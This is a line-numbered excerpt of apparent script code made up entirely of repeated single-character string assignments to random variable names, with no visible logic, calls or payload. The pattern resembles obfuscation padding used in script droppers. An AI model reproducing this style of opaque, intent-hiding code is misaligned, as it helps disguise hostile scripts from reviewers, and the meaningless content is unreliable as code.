90	fdcftky = "e";
91	fdcftky = "M";
92	fdcftky = "f";
93	fdcftky = "f";
94	tqzarw = "U";
95	tqzarw = "W";
96	tqzarw = "H";
97	tqzarw = "d";
98	tqzarw = "d";
99	jvcczqfxo = "I";
100	jvcczqfxo = "d";
101	jvcczqfxo = "w";
102	jvcczqfxo = "I";
103	jvcczqfxo = "K";
104	jvcczqfxo = "E";
105	jvcczqfxo = "b";
106	jvcczqfxo = "z";
107	jvcczqfxo = "u";
108	jvcczqfxo = "C";
109	jvcczqfxo = "I";
110	jvcczqfxo = "R";
111	jvcczqfxo = "K";
112	jvcczqfxo = "x";
113	jvcczqfxo = "y";
114	jvcczqfxo = "r";
115	jvcczqfxo = "k";
116	jvcczqfxo = "T";
117	jvcczqfxo = "O";
118	jvcczqfxo = "P";
119	jvcczqfxo = "u";
120	jvcczqfxo = "X";
121	jvcczqfxo = "C";
122	jvcczqfxo = "B";
123	jvcczqfxo = "j";
124	jvcczqfxo = "o";
125	jvcczqfxo = "S";
126	jvcczqfxo = "c";
127	jvcczqfxo = "D";
128	jvcczqfxo = "r";
129	jvcczqfxo = "m";
130	jvcczqfxo = "U";
131	jvcczqfxo = "F";
132	jvcczqfxo = "s";
133	qcynsibqa = "X";
134	qcynsibqa = "d";
135	qcynsibqa = "Q";
136	qcynsibqa = "w";
137	qcynsibqa = "O";
138	qcynsibqa = "g";
139	qcynsibqa = "l";
140	qcynsibqa = "M";
141	qcynsibqa = "N";
142	qcynsibqa = "F";
143	qcynsibqa = "h";
144	qcynsibqa = "r";
145	qcynsibqa = "D";
146	qcynsibqa = "M";
147	qcynsibqa = "h";
148	qcynsibqa = "F";
149	qcynsibqa = "U";
150	qcynsibqa = "D";
151	qcynsibqa = "O";
152	qcynsibqa = "F";
153	qcynsibqa = "Q";
154	qcynsibqa = "y";
155	qcynsibqa = "A";
156	qcynsibqa = "f";
157	qcynsibqa = "g";
158	qcynsibqa = "j";
159	qcynsibqa = "m";
160	qcynsibqa = "c";
161	qcynsibqa = "M";
162	qcynsibqa = "i";
163	qcynsibqa = "b";
164	qcynsibqa = "p";
165	qcynsibqa = "r";
166	qcynsibqa = "p";
167	qcynsibqa = "V";
168	qcynsibqa = "M";
169	qcynsibqa = "v";
170	qcynsibqa = "o";
171	qcynsibqa = "g";
172	qcynsibqa = "E";
173	qcynsibqa = "S";
174	qcynsibqa = " ";
175	qkosf = "D";
176	qkosf = "f";
177	qkosf = "V";
178	qkosf = "H";
179	qkosf = "k";
180	qkosf = "P";
181	qkosf = "E";
182	qkosf = "I";
183	qkosf = "p";
184	qkosf = "B";
185	qkosf = "d";
186	qkosf = "G";
187	qkosf = "K";
188	qkosf = "V";
189	qkosf = "c";
190	qkosf = "_";
191	exblxwjpl = "L";
192	exblxwjpl = "e";
193	exblxwjpl = "r";
194	exblxwjpl = "Y";
195	exblxwjpl = "J";
196	exblxwjpl = "m";
197	exblxwjpl = "Y";
198	exblxwjpl = "C";
199	exblxwjpl = "q";
200	exblxwjpl = "c";
201	exblxwjpl = "o";
202	exblxwjpl = "L";
203	exblxwjpl = "q";
204	seqkvng = "Y";
205	seqkvng = "D";
206	seqkvng = "v";
207	seqkvng = "v";
208	seqkvng = "p";
209	seqkvng = "C";
210	seqkvng = "s";
211	seqkvng = "t";
212	seqkvng = "P";
213	seqkvng = "u";
214	seqkvng = "Q";
215	seqkvng = "d";
216	seqkvng = "S";
217	seqkvng = "c";
218	seqkvng = "s";
219	seqkvng = "t";
220	seqkvng = "S";
221	seqkvng = "a";
222	seqkvng = "P";
223	seqkvng = "t";
224	seqkvng = "o";
225	seqkvng = "v";
226	seqkvng = "j";
227	seqkvng = "y";
228	seqkvng = "W";
229	seqkvng = "V";
230	seqkvng = "T";
231	seqkvng = "u";
232	seqkvng = "S";
233	seqkvng = "j";
234	seqkvng = "q";
235	seqkvng = "O";
236	seqkvng = "a";
237	cfyyrue = "F";
238	cfyyrue = "v";
239	cfyyrue = "U";
240	cfyyrue = "A";
241	cfyyrue = "T";
242	cfyyrue = "d";
243	cfyyrue = "o";
244	cfyyrue = "j";
245	cfyyrue = "Y";
246	cfyyrue = "p";
247	wfozlwf = "Q";
248	wfozlwf = "r";
249	wfozlwf = "W";
250	wfozlwf = "u";
251	wfozlwf = "u";
252	wfozlwf = "u";
253	wfozlwf = "o";
254	wfozlwf = "n";
255	wfozlwf = "j";
256	wfozlwf = "Y";
257	wfozlwf = "J";
258	wfozlwf = "D";
259	wfozlwf = "X";
260	wfozlwf = "u";
261	wfozlwf = "A";
262	wfozlwf = "O";
263	wfozlwf = "R";
264	wfozlwf = "R";
265	wfozlwf = "m";
266	wfozlwf = "z";
267	wfozlwf = "u";
268	xkhbhzn = "d";
269	xkhbhzn = "c";
270	xkhbhzn = "G";
271	xkhbhzn = "w";
272	xkhbhzn = "t";
273	xkhbhzn = "D";
274	xkhbhzn = "S";
275	xkhbhzn = "E";
276	xkhbhzn = "r";
277	xkhbhzn = "Y";
278	xkhbhzn = "I";
279	xkhbhzn = "b";
280	xkhbhzn = "u";
281	xkhbhzn = "e";
282	xkhbhzn = "J";
283	xkhbhzn = "G";
284	xkhbhzn = "U";
285	xkhbhzn = "F";
286	xkhbhzn = "c";
287	hjydpbex = "g";
288	hjydpbex = "E";
289	hjydpbex = "I";
290	hjydpbex = "T";
291	hjydpbex = "p";
292	hjydpbex = "g";
293	hjydpbex = "R";
294	hjydpbex = "B";
295	hjydpbex = "F";
296	hjydpbex = "y";
297	hjydpbex = "z";
298	hjydpbex = "y";
299	hjydpbex = "w";
300	hjydpbex = "D";
301	hjydpbex = "E";
302	hjydpbex = "G";
303	hjydpbex = "M";
304	hjydpbex = "H";
305	hjydpbex = "X";
306	hjydpbex = "c";
307	hjydpbex = "Q";
308	hjydpbex = "j";
309	hjydpbex = "h";
310	hjydpbex = "R";
311	hjydpbex = "Y";
312	hjydpbex = "H";
313	hjydpbex = "P";
314	hjydpbex = "k";
315	hjydpbex = "m";
316	hjydpbex = "t";
317	hjydpbex = "w";
318	hjydpbex = "D";
319	hjydpbex = "g";
320	hjydpbex = "l";
321	hjydpbex = "i";
322	gszmn = "J";
323	gszmn = "A";
324	gszmn = "r";
325	gszmn = "A";
326	gszmn = "h";
327	lyolrb = "N";
328	lyolrb = "-";
329	lrwcoj = "J";
330	lrwcoj = "O";
331	lrwcoj = "r";
332	lrwcoj = "q";
333	lrwcoj = "k";
334	lrwcoj = "E";
335	lrwcoj = "Q";
336	lrwcoj = "H";
337	lrwcoj = "o";
338	lrwcoj = "A";
339	lrwcoj = "U";
340	lrwcoj = "Z";
341	lrwcoj = "b";
342	lrwcoj = "S";
343	lrwcoj = "p";
344	lrwcoj = "y";
345	lrwcoj = "H";
346	lrwcoj = "g";
347	lrwcoj = "L";
348	lrwcoj = "F";
349	lrwcoj = "r";
350	lrwcoj = "O";
351	lrwcoj = "Z";
352	lrwcoj = "g";
353	lrwcoj = "i";
354	lrwcoj = "Y";
355	lrwcoj = "t";
356	lrwcoj = "R";
357	lrwcoj = "H";
358	lrwcoj = "L";
359	lrwcoj = "a";
360	lrwcoj = "h";
361	lrwcoj = "J";
362	lrwcoj = "r";
363	lrwcoj = "H";
364	lrwcoj = "M";
365	lrwcoj = "L";
366	lrwcoj = "M";
367	lrwcoj = "U";
368	opigddfg = "f";
369	opigddfg = "o";
370	opigddfg = "w";
371	opigddfg = "l";
372	opigddfg = "E";
373	opigddfg = "H";
374	opigddfg = "n";
375	opigddfg = "U";
376	opigddfg = "L";
377	opigddfg = "c";
378	opigddfg = "F";
379	opigddfg = "t";
380	opigddfg = "L";
381	opigddfg = "P";
382	opigddfg = "g";
383	opigddfg = "y";
384	opigddfg = "L";
385	opigddfg = "c";
386	opigddfg = "n";
387	ifokrdft = "a";
388	ifokrdft = "R";
389	ifokrdft = "e";
390	ifokrdft = "C";
391	ifokrdft = "S";
392	ifokrdft = "f";
393	ifokrdft = "F";
394	ifokrdft = "j";
395	ifokrdft = "X";
396	ifokrdft = "C";
397	ifokrdft = "q";
398	ifokrdft = "k";
399	ifokrdft = "l";
400	ifokrdft = "V";
401	ifokrdft = "J";
402	ifokrdft = "A";
403	ifokrdft = "V";
404	ifokrdft = "c";
405	ifokrdft = "R";
406	ifokrdft = "y";
407	ifokrdft = "D";
408	ifokrdft = "l";
409	ifokrdft = "J";
410	ifokrdft = "K";
411	ifokrdft = "H";
412	ifokrdft = "Q";
413	ifokrdft = "o";
414	ifokrdft = "k";
415	ifokrdft = "n";
416	ifokrdft = "i";
417	ifokrdft = "h";
418	ifokrdft = "D";
419	ifokrdft = "D";
420	ifokrdft = "O";
421	nylfgxfj = "F";
422	nylfgxfj = "F";
423	nylfgxfj = "j";
424	nylfgxfj = "I";
425	nylfgxfj = "E";
426	nylfgxfj = "P";
427	nylfgxfj = "C";
428	nylfgxfj = "t";
429	nylfgxfj = "z";
430	nylfgxfj = "b";
431	nylfgxfj = "r";
432	nylfgxfj = "c";
433	nylfgxfj = "m";
434	nylfgxfj = "Z";
435	nylfgxfj = "t";
436	nylfgxfj = "m";
437	nylfgxfj = "E";
438	nylfgxfj = "w";
439	nylfgxfj = "x";
440	nylfgxfj = "C";
441	nylfgxfj = "v";
442	nylfgxfj = "v";
443	nylfgxfj = "e";
444	nylfgxfj = "a";
445	nylfgxfj = "h";
446	nylfgxfj = "e";
447	nylfgxfj = "d";
448	nylfgxfj = "N";
449	nylfgxfj = "U";
450	nylfgxfj = "w";
451	nylfgxfj = "Z";
452	nylfgxfj = "I";
453	nylfgxfj = "Q";
454	nylfgxfj = "B";
455	nylfgxfj = "V";
456	nylfgxfj = "o";
457	nylfgxfj = "T";
458	nylfgxfj = "c";
459	nylfgxfj = "T";
460	nylfgxfj = "o";
461	lgzrv = "e";
462	lgzrv = "j";
463	lgzrv = "T";
464	lgzrv = "Q";
465	lgzrv = "Q";
466	lgzrv = "z";
467	lgzrv = "f";
468	lgzrv = "T";
469	lgzrv = "D";
470	lgzrv = "r";
471	lgzrv = "N";
472	lgzrv = "H";
473	lgzrv = "o";
474	lgzrv = "X";
475	lgzrv = "A";
476	lgzrv = "Y";
477	lgzrv = "Q";
478	lgzrv = "I";
479	lgzrv = "i";
480	lgzrv = "x";
481	lgzrv = "&";
482	kxdhtejt = "W";
483	kxdhtejt = "o";
484	kxdhtejt = "R";
485	zndedlc = "r";
486	zndedlc = "Y";
487	zndedlc = "z";
488	zndedlc = "o";
489	zndedlc = "W";
490	zndedlc = "I";
491	zndedlc = "H";
492	zndedlc = "t";
493	zndedlc = "K";
494	zndedlc = "T";
495	zndedlc = "b";
496	zndedlc = "p";
497	zndedlc = "O";
498	zndedlc = "H";
499	zndedlc = "V";
500	zndedlc = "C";
501	zndedlc = "s";
502	zndedlc = "E";
503	zndedlc = "j";
504	zndedlc = "j";
505	zndedlc = "X";
506	zndedlc = "w";
507	zndedlc = "R";
508	zndedlc = "P";
509	zndedlc = "j";
510	zndedlc = "O";
511	zndedlc = "w";
512	zndedlc = "r";
513	zndedlc = "l";
514	zndedlc = "g";
515	zndedlc = "A";
516	zndedlc = "W";
517	aqxfebp = "Y";
518	aqxfebp = "q";
519	aqxfebp = "v";
520	aqxfebp = "v";
521	aqxfebp = "R";
522	aqxfebp = "E";
523	aqxfebp = "g";
524	aqxfebp = "P";
525	aqxfebp = "D";
526	aqxfebp = "p";
527	aqxfebp = "E";
528	aqxfebp = "U";
529	aqxfebp = "i";
530	aqxfebp = "U";
531	aqxfebp = "z";
532	aqxfebp = "A";
533	aqxfebp = "d";
534	aqxfebp = "A";
535	aqxfebp = "X";
536	aqxfebp = "L";
537	aqxfebp = "Q";
538	aqxfebp = "A";
539	aqxfebp = "n";
540	aqxfebp = "r";
541	aqxfebp = "g";
542	aqxfebp = "D";
543	aqxfebp = "A";
544	aqxfebp = "e";
545	aqxfebp = "u";
546	aqxfebp = "W";
547	aqxfebp = "f";
548	aqxfebp = "d";
549	aqxfebp = "P";
550	aqxfebp = "F";
551	aqxfebp = "X";
552	aqxfebp = "q";
553	aqxfebp = "V";
554	aqxfebp = "Y";
555	aqxfebp = "s";
556	aqxfebp = "T";
557	lscsmwo = "D";
558	lscsmwo = "P";
559	oxkuqvg = "N";
560	oxkuqvg = "J";
561	oxkuqvg = "M";
562	oxkuqvg = "c";
563	oxkuqvg = "A";
564	oxkuqvg = "9";
565	khadyfa = "y";
566	khadyfa = "U";
567	khadyfa = "O";
568	khadyfa = "v";
569	khadyfa = "f";
570	khadyfa = "p";
571	khadyfa = "b";
572	khadyfa = "k";
573	wqmvacty = "q";
574	wqmvacty = "H";
575	wqmvacty = "U";
576	wqmvacty = "B";
577	wqmvacty = "u";
578	wqmvacty = "C";
579	wqmvacty = "C";
580	wqmvacty = "f";
581	wqmvacty = "b";
582	wqmvacty = "T";
583	wqmvacty = "b";
584	wqmvacty = "U";
585	wqmvacty = "t";
586	wqmvacty = "y";
587	wqmvacty = "G";
588	wqmvacty = "G";
589	wqmvacty = "o";
590	wqmvacty = "z";
591	wqmvacty = "P";
592	wqmvacty = "L";
593	wqmvacty = "E";
594	wqmvacty = "D";
595	wqmvacty = "X";
596	wqmvacty = "Z";
597	wqmvacty = "w";
598	wqmvacty = "i";
599	wqmvacty = "L";
600	wqmvacty = "A";
601	wqmvacty = "Z";
602	wqmvacty = "a";
603	wqmvacty = "S";
604	wqmvacty = "W";
605	wqmvacty = "1";
606	klsdcej = "t";
607	klsdcej = "x";
608	klsdcej = "G";
609	klsdcej = "t";
610	klsdcej = "L";
611	klsdcej = "j";
612	klsdcej = "E";
613	klsdcej = "x";
614	klsdcej = "F";
615	klsdcej = "p";
616	klsdcej = "b";
617	klsdcej = "u";
618	klsdcej = "T";
619	klsdcej = "P";
620	klsdcej = "O";
621	klsdcej = "u";
622	klsdcej = "a";
623	klsdcej = "K";
624	klsdcej = "U";
625	klsdcej = "Z";
626	klsdcej = "W";
627	klsdcej = "f";
628	klsdcej = "x";
629	klsdcej = "Z";
630	klsdcej = "J";
631	klsdcej = "w";
632	eltam = "o";
633	eltam = "H";
634	eltam = "r";
635	eltam = "g";
636	eltam = "m";
637	eltam = "B";
638	eltam = "Z";
639	eltam = "a";
640	eltam = "f";
641	eltam = "T";
642	eltam = "d";
643	eltam = "y";
644	eltam = "F";
645	eltam = "Y";
646	eltam = "w";
647	eltam = "R";
648	eltam = "N";
649	eltam = "b";
650	eltam = "r";
651	eltam = "W";
652	eltam = "O";
653	eltam = "Z";
654	eltam = "U";
655	eltam = "B";
656	eltam = "z";
657	eltam = "w";
658	eltam = "w";
659	eltam = "b";
660	vrprazlp = "c";
661	vrprazlp = "n";
662	vrprazlp = "3";
663	uoojk = "H";
664	uoojk = "p";
665	uoojk = "e";
666	uoojk = "O";
667	uoojk = "r";
668	uoojk = "H";
669	uoojk = "L";
670	uoojk = "I";
671	uoojk = "g";
672	uoojk = "q";
673	uoojk = "N";
674	uoojk = "T";
675	uoojk = "t";
676	wxjhrubve = "E";
677	wxjhrubve = "m";
678	wxjhrubve = "I";
679	wxjhrubve = "B";
680	wxjhrubve = "W";
681	wxjhrubve = "Z";
682	wxjhrubve = "Q";
683	wxjhrubve = "n";
684	wxjhrubve = "s";
685	wxjhrubve = "B";
686	wxjhrubve = "6";
687	tktlolxm = "e";
688	tktlolxm = "L";
689	tktlolxm = "Y";
690	tktlolxm = "O";
691	tktlolxm = "C";
692	tktlolxm = "d";
693	tktlolxm = "h";
694	tktlolxm = "e";
695	tktlolxm = "M";
696	tktlolxm = "g";
697	arreteeaj = "Q";
698	arreteeaj = "b";
699	arreteeaj = "U";
700	arreteeaj = "M";
701	arreteeaj = "U";
702	arreteeaj = "p";
703	arreteeaj = "I";
704	arreteeaj = "V";
705	arreteeaj = "R";
706	arreteeaj = "q";
707	arreteeaj = "e";
708	arreteeaj = "Q";
709	arreteeaj = "J";
710	arreteeaj = "c";
711	arreteeaj = "a";
712	arreteeaj = "k";
713	arreteeaj = "s";
714	arreteeaj = "C";
715	arreteeaj = "0";
716	kuqidcs = "E";
717	kuqidcs = "O";
718	kuqidcs = "N";
719	kuqidcs = "c";
720	kuqidcs = "c";
721	kuqidcs = "T";
722	kuqidcs = "f";
723	kuqidcs = "n";
724	kuqidcs = "T";
725	kuqidcs = "r";
726	kuqidcs = "l";
727	kuqidcs = "J";
728	kuqidcs = "x";
729	kuqidcs = "s";
730	kuqidcs = "u";
731	kuqidcs = "F";
732	kuqidcs = "d";
733	kuqidcs = "o";
734	kuqidcs = "D";
735	kuqidcs = "e";
736	kuqidcs = "z";
737	kuqidcs = "G";
738	kuqidcs = "o";
739	kuqidcs = "m";
740	kuqidcs = "H";
741	kuqidcs = "L";
742	kuqidcs = "n";
743	kuqidcs = "Z";
744	kuqidcs = "F";
745	kuqidcs = "j";
746	kuqidcs = "r";
747	kuqidcs = "K";
748	kuqidcs = "u";
749	kuqidcs = "d";
750	kuqidcs = "L";
751	kuqidcs = "h";
752	kuqidcs = "m";
753	kuqidcs = "C";
754	kuqidcs = "E";
755	kuqidcs = "W";
756	kuqidcs = "Q";
757	kuqidcs = "G";
758	kuqidcs = "E";
759	kuqidcs = "N";
760	qwdavctub = ":";
761	eplfntglk = "X";
762	eplfntglk = "K";
763	eplfntglk = "V";
764	eplfntglk = "I";
765	eplfntglk = "w";
766	eplfntglk = "Z";
767	eplfntglk = "a";
768	eplfntglk = "J";
769	eplfntglk = "U";
770	eplfntglk = "f";
771	eplfntglk = "e";
772	eplfntglk = "y";
773	eplfntglk = "y";
774	eplfntglk = "F";
775	eplfntglk = "m";
776	eplfntglk = "A";
777	eplfntglk = "x";
778	eplfntglk = "K";
779	uiqtoii = "E";
780	uiqtoii = "X";
781	uiqtoii = "p";
782	uiqtoii = "S";
783	uiqtoii = "P";
784	uiqtoii = "n";
785	uiqtoii = "u";
786	uiqtoii = "F";
787	uiqtoii = "u";
788	uiqtoii = "Y";
789	uiqtoii = "g";
790	uiqtoii = "e";
791	uiqtoii = "L";
792	uiqtoii = "f";
793	uiqtoii = "l";
794	uiqtoii = "p";
795	uiqtoii = "r";
796	uiqtoii = "D";
797	uiqtoii = "S";
798	uiqtoii = "j";
799	uiqtoii = "N";
800	uiqtoii = "C";
801	uiqtoii = "t";
802	uiqtoii = "K";
803	uiqtoii = "I";
804	uiqtoii = "r";
805	uiqtoii = "g";
806	uiqtoii = "T";
807	uiqtoii = "d";
808	uiqtoii = "H";
809	uiqtoii = "H";
810	uiqtoii = "E";
811	uiqtoii = "v";
812	uiqtoii = "q";
813	uiqtoii = "v";
814	uiqtoii = "y";
815	uiqtoii = "K";
816	uiqtoii = "B";
817	uiqtoii = "2";
818	qvyyodgu = "z";
819	qvyyodgu = "Z";
820	qvyyodgu = "v";
821	qvyyodgu = "n";
822	qvyyodgu = "P";
823	qvyyodgu = "B";
824	qvyyodgu = "u";
825	qvyyodgu = "F";
826	qvyyodgu = "y";
827	qvyyodgu = "s";
828	qvyyodgu = "S";
829	qvyyodgu = "Y";
830	qvyyodgu = "E";
831	qvyyodgu = "W";
832	qvyyodgu = "j";
833	qvyyodgu = "B";
834	qvyyodgu = "r";
835	qvyyodgu = "F";
836	qvyyodgu = "Y";
837	qvyyodgu = "B";
838	qvyyodgu = "m";
839	qvyyodgu = "t";
840	qvyyodgu = "n";
841	qvyyodgu = "O";
842	qvyyodgu = "h";
843	qvyyodgu = "M";
844	qvyyodgu = "V";
845	qvyyodgu = "l";
846	niabpg = "T";
847	niabpg = "e";
848	niabpg = "d";
849	niabpg = "S";
850	niabpg = "i";
851	niabpg = "t";
852	niabpg = "d";
853	niabpg = "o";
854	niabpg = "I";
855	niabpg = "S";
856	niabpg = "X";
857	niabpg = "M";
858	niabpg = "a";
859	niabpg = "x";
860	zxcpapji = "y";
861	zxcpapji = "\\";
862	quhlvjdd = "r";
863	quhlvjdd = "b";
864	quhlvjdd = "C";
865	quhlvjdd = "v";
866	quhlvjdd = "H";
867	quhlvjdd = "e";
868	quhlvjdd = "O";
869	quhlvjdd = "C";
870	gshgpi = "q";
871	gshgpi = "G";
872	gshgpi = "u";
873	gshgpi = "Q";
874	gshgpi = "t";
875	gshgpi = "5";
876	baohd = "S";
877	baohd = "q";
878	baohd = "Z";
879	baohd = "P";
880	baohd = "F";
881	baohd = "x";
882	baohd = "S";
883	baohd = "W";
884	baohd = "p";
885	baohd = "C";
886	baohd = "m";
887	baohd = "O";
888	baohd = "Z";
889	baohd = "G";
890	baohd = "P";
891	baohd = "u";
892	baohd = "S";
893	dtvguuklu = "f";
894	dtvguuklu = "S";
895	dtvguuklu = "r";
896	dtvguuklu = "x";
897	dtvguuklu = "B";
898	dtvguuklu = "C";
899	dtvguuklu = "m";
900	dtvguuklu = "o";
901	dtvguuklu = "G";
902	dtvguuklu = "t";
903	dtvguuklu = "x";
904	dtvguuklu = "p";
905	dtvguuklu = "S";
906	dtvguuklu = "t";
907	dtvguuklu = "P";
908	dtvguuklu = "a";
909	dtvguuklu = "k";
910	dtvguuklu = "/";
911	gyahqa = "w";
912	gyahqa = "V";
913	gyahqa = "u";
914	gyahqa = "f";
915	gyahqa = "z";
916	gyahqa = "F";
917	gyahqa = "P";
918	gyahqa = "p";
919	gyahqa = "u";
920	gyahqa = "Z";
921	gyahqa = "C";
922	gyahqa = "z";
923	gyahqa = "Z";
924	gyahqa = "F";
925	gyahqa = "E";
926	gyahqa = "k";
927	gyahqa = "u";
928	gyahqa = "F";
929	gyahqa = "M";
930	gyahqa = "H";
931	gyahqa = "v";
932	gyahqa = "L";
933	gyahqa = "z";
934	gyahqa = "G";
935	gyahqa = "Q";
936	oognxw = "a";
937	oognxw = "u";
938	oognxw = "E";
939	oognxw = "j";
940	oognxw = "A";
941	oognxw = "o";
942	oognxw = "4";
943	bpovksi = "i";
944	bpovksi = "g";
945	bpovksi = "y";
946	bpovksi = "V";
947	bpovksi = "n";
948	bpovksi = "s";
949	bpovksi = "M";
950	bpovksi = "e";
951	bpovksi = "q";
952	bpovksi = "h";
953	bpovksi = "c";
954	bpovksi = "D";
955	bpovksi = "y";
956	bpovksi = "X";
957	bpovksi = "T";
958	bpovksi = "L";
959	bpovksi = "F";
960	bpovksi = "D";
961	bpovksi = "A";
962	bpovksi = "l";
963	bpovksi = "d";
964	bpovksi = "O";
965	bpovksi = "z";
966	bpovksi = "L";
967	bpovksi = "t";
968	bpovksi = "X";
969	bpovksi = "m";
970	bpovksi = "W";
971	bpovksi = "w";
972	bpovksi = "u";
973	bpovksi = "u";
974	bpovksi = "N";
975	bpovksi = "H";
976	bpovksi = "r";
977	bpovksi = "%";
978	chaajhhbk = "S";
979	chaajhhbk = "d";
980	chaajhhbk = "v";
981	chaajhhbk = "F";
982	chaajhhbk = "Z";
983	chaajhhbk = "T";
984	chaajhhbk = "i";
985	chaajhhbk = "r";
986	chaajhhbk = "h";
987	chaajhhbk = "t";
988	chaajhhbk = "N";
989	chaajhhbk = "a";
990	chaajhhbk = "u";
991	chaajhhbk = "d";
992	chaajhhbk = "m";
993	chaajhhbk = "v";
994	chaajhhbk = "F";
995	chaajhhbk = "v";
996	chaajhhbk = "\"";
997	cyomuw = "i";
998	cyomuw = "a";
999	cyomuw = "v";
1000	cyomuw = "M";
1001	cyomuw = "P";
1002	cyomuw = "R";
1003	cyomuw = "T";
1004	cyomuw = "e";
1005	cyomuw = "I";
1006	cyomuw = "Z";
1007	cyomuw = "A";
1008	cyomuw = "z";
1009	cyomuw = "A";
1010	cyomuw = "u";
1011	cyomuw = "d";
1012	cyomuw = "U";
1013	cyomuw = "i";
1014	cyomuw = "Z";
1015	cyomuw = "n";
1016	cyomuw = "Q";
1017	cyomuw = "J";
1018	cyomuw = "l";
1019	cyomuw = "v";
1020	cyomuw = "v";
1021	vfigaqil = "x";
1022	vfigaqil = "B";
1023	vfigaqil = "Q";
1024	vfigaqil = "y";
1025	vfigaqil = "n";
1026	vfigaqil = "Z";
1027	vfigaqil = "E";
1028	vfigaqil = "Q";
1029	vfigaqil = "l";
1030	vfigaqil = "C";
1031	vfigaqil = "j";
1032	fbpluymyk = "r";
1033	fbpluymyk = "p";
1034	fbpluymyk = "F";
1035	shfyhtzc = "Y";
1036	shfyhtzc = "q";
1037	shfyhtzc = "P";
1038	shfyhtzc = "A";
1039	shfyhtzc = "C";
1040	shfyhtzc = "s";
1041	shfyhtzc = "M";
1042	shfyhtzc = "X";
1043	shfyhtzc = "c";
1044	shfyhtzc = "N";
1045	shfyhtzc = "W";
1046	shfyhtzc = "R";
1047	shfyhtzc = "K";
1048	shfyhtzc = "M";
1049	shfyhtzc = "K";
1050	shfyhtzc = "a";
1051	shfyhtzc = "F";
1052	shfyhtzc = "u";
1053	shfyhtzc = "r";
1054	shfyhtzc = "Q";
1055	shfyhtzc = "R";
1056	shfyhtzc = "M";
1057	shfyhtzc = "s";
1058	shfyhtzc = "L";
1059	shfyhtzc = "d";
1060	shfyhtzc = "z";
1061	shfyhtzc = "d";
1062	shfyhtzc = "q";
1063	shfyhtzc = "y";
1064	shfyhtzc = "e";
1065	hqakhre = "I";
1066	hqakhre = "u";
1067	hqakhre = "O";
1068	hqakhre = "a";
1069	hqakhre = "r";
1070	hqakhre = "T";
1071	hqakhre = "N";
1072	hqakhre = "R";
1073	hqakhre = "G";
1074	hqakhre = "c";
1075	hqakhre = "p";
1076	hqakhre = "l";
1077	hqakhre = "P";
1078	hqakhre = "f";
1079	hqakhre = "n";
1080	hqakhre = "L";
1081	hqakhre = "s";
1082	hqakhre = "N";
1083	hqakhre = "M";
1084	hqakhre = "q";
1085	hqakhre = "m";
1086	hqakhre = "n";
1087	hqakhre = "I";
1088	hqakhre = "z";
1089	hqakhre = "O";
1090	hqakhre = "g";
1091	hqakhre = "K";
1092	hqakhre = "f";
1093	hqakhre = "j";
1094	hqakhre = "f";
1095	hqakhre = "q";
1096	hqakhre = "C";
1097	hqakhre = "G";
1098	hqakhre = "k";
1099	hqakhre = "g";
1100	hqakhre = "M";
1101	hqakhre = "U";
1102	hqakhre = "b";
1103	hqakhre = "t";
1104	hqakhre = "W";
1105	hqakhre = "g";
1106	hqakhre = "T";
1107	hqakhre = "E";
1108	onmdb = "R";
1109	onmdb = "Q";
1110	onmdb = "M";
1111	onmdb = "r";
1112	onmdb = "t";
1113	onmdb = "j";
1114	onmdb = "i";
1115	onmdb = "f";
1116	onmdb = "m";
1117	onmdb = "C";
1118	onmdb = "v";
1119	onmdb = "B";
1120	onmdb = "U";
1121	onmdb = "r";
1122	onmdb = "X";
1123	onmdb = "N";
1124	onmdb = "o";
1125	onmdb = "v";
1126	onmdb = "Q";
1127	onmdb = "J";
1128	onmdb = "y";
1129	onmdb = "o";
1130	onmdb = "U";
1131	onmdb = "W";
1132	onmdb = "O";
1133	onmdb = "I";
1134	onmdb = "C";
1135	onmdb = "p";
1136	onmdb = "R";
1137	onmdb = "l";
1138	onmdb = "i";
1139	onmdb = "T";
1140	onmdb = "m";
1141	onmdb = "z";
1142	onmdb = "N";
1143	onmdb = "D";
1144	onmdb = "N";
1145	onmdb = "N";
1146	onmdb = "x";
1147	onmdb = "J";
1148	onmdb = "l";
1149	onmdb = "x";
1150	onmdb = "L";
1151	iimntde = "c";
1152	iimntde = "F";
1153	iimntde = "x";
1154	iimntde = "x";
1155	iimntde = ".";
1156	fvsipibni = "M";
1157	fvsipibni = "t";
1158	fvsipibni = "M";
1159	fvsipibni = "N";
1160	fvsipibni = "J";
1161	fvsipibni = "L";
1162	fvsipibni = "u";
1163	fvsipibni = "v";
1164	fvsipibni = "x";
1165	fvsipibni = "n";
1166	fvsipibni = "R";
1167	fvsipibni = "R";
1168	fvsipibni = "s";
1169	fvsipibni = "F";
1170	fvsipibni = "Y";
1171	fvsipibni = "A";
1172	fvsipibni = "z";
1173	fvsipibni = "T";
1174	fvsipibni = "G";
1175	fvsipibni = "i";
1176	fvsipibni = "A";
1177	fvsipibni = "I";
1178	fvsipibni = "d";
1179	fvsipibni = "b";
1180	fvsipibni = "p";
1181	fvsipibni = "J";
1182	fvsipibni = "r";
1183	fvsipibni = "v";
1184	fvsipibni = "t";
1185	fvsipibni = "m";
1186	fvsipibni = "Y";
1187	fvsipibni = "M";
1188	fvsipibni = "h";
1189	fvsipibni = "O";
1190	fvsipibni = "x";
1191	fvsipibni = "S";
1192	fvsipibni = "H";
1193	dctehelc = "I";
1194	smtmwwha = "u";
1195	smtmwwha = "G";
1196	smtmwwha = "R";
1197	smtmwwha = "d";
1198	smtmwwha = "J";
1199	smtmwwha = "R";
1200	smtmwwha = "B";
1201	smtmwwha = "R";
1202	smtmwwha = "u";
1203	smtmwwha = "q";
1204	smtmwwha = "a";
1205	smtmwwha = "h";
1206	smtmwwha = "b";
1207	smtmwwha = "u";
1208	smtmwwha = "X";
1209	smtmwwha = "D";
1210	smtmwwha = "u";
1211	smtmwwha = "K";
1212	smtmwwha = "F";
1213	smtmwwha = "J";
1214	smtmwwha = "I";
1215	smtmwwha = "v";
1216	smtmwwha = "I";
1217	smtmwwha = "p";
1218	smtmwwha = "O";
1219	smtmwwha = "t";
1220	smtmwwha = "W";
1221	smtmwwha = "X";
1222	smtmwwha = "Z";
1223	smtmwwha = "z";
1224	smtmwwha = "r";
1225	smtmwwha = "U";
1226	smtmwwha = "g";
1227	smtmwwha = "b";
1228	smtmwwha = "z";
1229	smtmwwha = "K";
1230	smtmwwha = "d";
1231	smtmwwha = "d";
1232	smtmwwha = "m";
1233	smtmwwha = "f";
1234	smtmwwha = "B";
1235	smtmwwha = "u";
1236	smtmwwha = "r";
1237	smtmwwha = "@";
1238	abfevy = "m";
1239	abfevy = "R";
1240	abfevy = "I";
1241	abfevy = "n";
1242	abfevy = "j";
1243	abfevy = "q";
1244	abfevy = "O";
